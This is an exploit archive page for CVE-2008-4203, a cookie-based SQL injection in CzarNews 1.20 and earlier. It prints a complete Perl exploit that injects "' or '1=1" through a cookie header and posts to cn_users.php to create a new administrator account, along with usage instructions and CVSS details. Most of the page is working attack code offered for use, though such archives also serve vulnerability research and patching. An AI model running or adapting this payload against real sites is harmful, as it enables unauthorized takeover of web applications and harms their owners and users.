Exploit: CzarNews <= 1.20 (Cookie) Remote SQL Injection Exploit ( Ascii Version )

Search:
WLB2

CzarNews <= 1.20 (Cookie) Remote SQL Injection Exploit

Published
Credit
Risk
2008.09.26
StAkeR
High
CWE
CVE
Local
Remote
CWE-89
CVE-2008-4203
No
Yes

Plain text version

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

#!/usr/bin/perl
# ----------------------------------------------------------
# CzarNews <= v1.20 (Cookie) Remote SQL Injection Exploit
# Perl Exploit - Add a new admin with your credentials!
# Discovered On: 15/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# ----------------------------------------------------------
# Usage: perl http://localhost/cms StAkeR obscure
# ----------------------------------------------------------

use strict;
use LWP::UserAgent;

my $email = 'some@example.net';
my ($hostname,$username,$password) = @ARGV;
my $request = undef;
my $http_s = new LWP::UserAgent or die $!;

$hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner();
banner() unless $username and $password;

$http_s->agent("Mozilla/4.5 [en] (Win95; U)");
$http_s->timeout(1);
$http_s->default_header('Cookie' => "recook=' or '1=1,' or '1=1");

$request = $http_s->post($hostname."/cn_users.php",
[
user => $username,
pass => $password,
email => $email,
allcats => "all",
admin => "off",
news => "on",
images => "on",
users => "on",
categories => "on",
config => "on",
words => "on",
op => "add",
id => '',
go => "true",
submit => "Add+User"
]);

if($request->is_success)
{
if($request->content =~ /has been added/i)
{
print "[+] Added New Administrator: $username & $password\n";
}
else
{
print "[!] Exploit Failed!\n";
print "[!] Site Not Vulnerable\n";
}
}


sub banner
{
print "[+] CzarNews <= v1.20 Remote SQL Injection Exploit (add new admin)\n";
print "[+] Usage: perl exploit.pl [host] [username] [password]\n";
return exit;
}

References:

http://xforce.iss.net/xforce/xfdb/45127
http://www.securityfocus.com/bid/31182
http://www.milw0rm.com/exploits/6462

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version